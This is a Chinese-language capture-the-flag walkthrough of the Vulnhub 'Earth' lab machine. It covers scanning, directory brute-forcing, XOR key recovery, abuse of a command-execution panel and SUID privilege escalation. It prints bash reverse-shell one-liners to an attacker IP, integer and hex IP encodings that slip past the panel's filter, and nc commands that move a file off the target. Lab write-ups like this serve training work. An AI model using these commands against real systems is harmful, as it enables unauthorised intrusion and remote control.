1.信息收集

1.1找到目标主机ip

vulnhub靶场通用的技巧 这里我们靶场是nat模式的 所以肯定就是在我们自己设置的一个网段范围内,我这里nat本机的地址是10.1.1.1

所处的网段就是10.1.1.0了

所以我们直接上工具扫 可以nmap 10.1.1.0/24

不过速度较慢 所以我们不推荐

这里可以用kali的 arp-scan (使用arp协议探测)

直接arp-scan l就行了

这里显然就是10.1.1.108

当然也可以用ping命令 或者goby等等 方法很多 根据情况来用

1.2nmap扫描目标

对目标主机进行全方位扫描

nmap -T4 -A 10.1.1.108

根据扫描信息我们可以知道

目标开启了 80/443/22端口

22端口ssh 是公私钥连接 所以无法爆破

利用ip分别访问80/443(https)端口



基本无果

这里先搁置,当然如果想继续的话可以指纹识别/后台爆破 这两种思路

仔细观察nmap扫描结果可以发现

有两条dns解析记录

在本地hosts文件中加入解析记录

vim /etc/hosts

然后分别访问 两个域名 (https)

逐一访问

这个看起来像个加密的东东

然后

1.3目录爆破

然后就是路径爆破,找找后台或者敏感信息泄露什么的

这里kali可以用自带的dirb

通过默认字典我们扫到了一些东西

对于admin后台 我们可以尝试暴力破解、SQL注入均无果

所以我们访问一下扫到的 robots.txt

自然的我们访问下最下面的这个文件

后缀名这里可以fuzz

最后测试出是txt文件

测试安全消息系统注意事项:
*使用XOR加密作为算法,在RSA中使用应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长时间?
*需要改进消息界面和管理面板的界面,目前非常基础。

我的理解,总结一下就是y星人用xor加密传输数据,然后给了一个terra的管理账号 那肯定是要密码了,然后根据

刚开始有几条加密的数据 也就是异或后的数据 所以很自然我们选择用Previous Messages来对testdata.txt 进行xor运算 从而得到密钥

import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

这个是网上的py脚本

这个脚本抄的 就不多解释了 然后快进到解出数据

  • 解出是16进制的数据
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
  • 转一下字符串

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

都是一些重复的password

所以得到了一个高权限用户:

username:terra
password:earthclimatechangebad4humans

2.漏洞利用

然后转入我们之前扫到的登录界面进行登录:

登录之后是一个命令执行,简单执行几个命令

  • 这里可以通过

    find / -name "*flag*"

寻找flag,然后发现会一个user的flag和一个root的flag ,而我们需要查看root的flag 所以就有了下面的提权内容

2.1反弹shell

  • 首先建立一个监听(这里端口设置为6666)
nc -lvvp 6666
  • linux下利用bash反弹 shell
bash -i >&/dev/tcp/10.1.1.20/6666 0>&1

这里反弹shell的时候碰到了过滤条件,根据网上大佬的解析说是过滤了ip(正则方式),当然如果我们黑盒的话也可以fuzz出来

这里我直接放出源码,在/var/earth_web/secure_message/forms.py里面

当然我们本次的实验web也都能在/var/earth_web下找到

所以这里绕过方式简单举例两种:

  • ip转int
bash -i >&/dev/tcp/167837972/6666 0>&1

  • 16进制绕过
bash -i >&/dev/tcp/0x0a.0x01.0x01.0x14/6666 0>&1
  • 一些其他思路:目标有python环境 绕过前端使用python的反弹shell

2.2提权

连接上shell

这里我们是apache用户 没有root权限 不能查看root目录下的flag

所以想办法提权

这里利用suid提权,首先查找具有root的s权限的命令

find / -perm -u=s -type f 2>/dev/null

没有网上已知的容易提权的命令 但是观察发现有一个reset_root命令,运行尝试一下

  • ps:可以用strings命令查看一下/usr/bin/reset_root

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

所以是运行的时候出错了?让我们debug一下?

利用nc把文件传到本地(因为我们要用strace命令调试,靶机中没有)

  • 本地监听并且接收文件
nc -lvvp  1234>/tmp/reset_root_test
  • 靶机发送文件
nc 10.1.1.20 1234</usr/bin/reset_root

然后本地打开调试,如果权限不够的话简单粗暴给个权限

chmod 777 /tmp/reset_root_test

简单调试命令执行过后发现是由于没有这三个文件夹然后报的错,简单在靶机中find后没发现,所以尝试在靶机中建立相应的文件

这里我选择了创建文件夹 理论上说创建文件也是可以的,然后再执行reset_root就发现重置了密码Earth

  • 切换为root

  • su root

  • 查看目录,得到flag
ls -al /root
cat /root/root_flag.txt

Vulnhub-earth的更多相关文章

  1. Vulnhub 之 Earth

    靶机地址:https://www.vulnhub.com/entry/the-planets-earth,755/ Kali IP:192.168.56.104 下载OVA文件后,直接通过Virtua ...

  2. vulnhub靶场之THE PLANETS: EARTH

    准备: 攻击机:虚拟机kali.本机win10. 靶机:THE PLANETS: EARTH,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnh ...

  3. Vulnhub - THE PLANETS: EARTH

    环境配置 从www.vulnhub.com下载靶机,在VMware中导入,自动分配IP 主机发现 通过对内网主机的扫描,VMware为目标主机 端口扫描 使用nmap对主机进行扫描 发现443端口信息 ...

  4. ArcGIS Earth

    恩,万众瞩目的ArcGIS Earth,现在华丽丽的可以在官网上下载了 满怀希望的心花怒放的我就去下载了...... 然后得然后...... 打开界面简洁的不要不要的,连个Esri的logo都没有.好 ...

  5. 看到shape文件可以加载到GOOGLE EARTH上的方法,有空可以试试

    引用 Shape文件转为KMZ并在Google Earth中显示 (1)在ArcGIS中加载一个Shape文件,笔者加载的是某个地区的道路(双线道路)图层 (2)在ArcToolbox中,依次展开Co ...

  6. ArcGIS Earth数据小析

    ArcGIS Earth,一款轻量级的三维地球应用.因为工作关系下载试用了半天,正好借这个机会简单研究一下ArcGIS Earth的大概思路,特别是地形数据的组成和影像数据的加载,在这总结整理一下.下 ...

  7. Google earth

    装了Google earth之后,需要联网,才能放缩看不同精细程度的场景,除非你之前看过,在你自己的缓存中有存储. Google earth有自己的server,我们交互化的时候,server传数据给 ...

  8. The Earth Mover's Distance

    The EMD is based on the minimal cost that must be paid to transform one distribution into the other. ...

  9. Earth Mover's Distance (EMD)

    原文: http://d.hatena.ne.jp/aidiary/20120804/1344058475作者: sylvan5翻译: Myautsai和他的朋友们(Google Translate. ...

  10. Google map实现类似Google earth的图标展开功能

    前言 在Google map的开发时,如果有多个图标重叠在一起,这时下面的图标就点击不到.而在Google Earth中,鼠标一移到上面就会自动弹开,这对于用户而言是十分人性化的一个功能.如下是在Go ...

随机推荐

  1. LVS集群和Keepalived高可用实战

    第四十章LVS集群和Keepalived高可用实战 一.ARP协议 1.概念 地址解析协议,即ARP(AddressResolutionProtocol),是根据IP地址获取物理MAC地址的一个TCP ...

  2. 学习Tomcat(一)

    一.jdk和tomcat基础 1.web应用对比 apache: 两种方式运行php,一是用模块,二是用fastcgi nginx: 通过fastcgi处理动态请求,也可转发到tomcat 2.tom ...

  3. 学习heartbeat-05 实现web服务高可用

    一.环境介绍 说明:所有案例在虚拟机(VMware)上完成 操作系统:centos 6.5 64bit 高可用软件:heartbeat 3.0.4 Web应用服务器:apache httpd 2.2. ...

  4. 完美解决 scipy.misc.imread 报错 TypeError: Image data cannot be converted to float

    File "/home/harrison/anaconda3/lib/python3.7/site-packages/matplotlib/image.py", line 634, ...

  5. 学习webpack前的准备工作

    前言 由于vue和react的流行,webpack这个模块化打包工具也已经成为热门.作为前端工程师这个需要不断更新自己技术库的职业,真的需要潜下心来学习一下. 准备工作(针对mac用户) 安装 hom ...

  6. html和css常见的一些问题总结

    html 标签 一般在html有块级元素和行级元素,主要的块级元素有 div,p,h1-h6,ul,ol,li,dl,dt,dd,table,tr,th,td,有好记的办法,div,p,显示标题的,列 ...

  7. SVG vs Image, SVG vs Iconfont

    这可能是个别人写过很多次的话题,但貌似由于兼容性的原因?图标的显示还是用着 Iconfont 或者 CSS Sprite 的形式?希望通过自己新瓶装旧酒的方式能重新引导一下问题. SVG vs Ima ...

  8. 面试题:给你个id,去拿到name,多叉树遍历

    前天面试遇到一个多叉树面试的题目,在这里分享记录一下. 题目:一个树形的数据(如下数据),面试官给你一个id,然后拿到对应的name? 数据结构大概是这个样子 var cityData = [ { i ...

  9. java中Object类的finalize的用法

    Object类的finalize的用法: 马克-to-win:java当中有个垃圾回收机制,具体说,就是当一些对象被创建使用之后若不再使用的话{比如(i)对象被置成null.(ii)局部对象(无需置成 ...

  10. InputStream in = JdbcUtil.class.getClassLoader().getResourceAsStream("dbinfo.properties");

    1.与普通程序不同的是,Java程序(class文件)并不是本地的可执行程序.当运行Java程序时,首先运行JVM(Java虚拟机),然后再把Java class加载到JVM里头运行,负责加载Java ...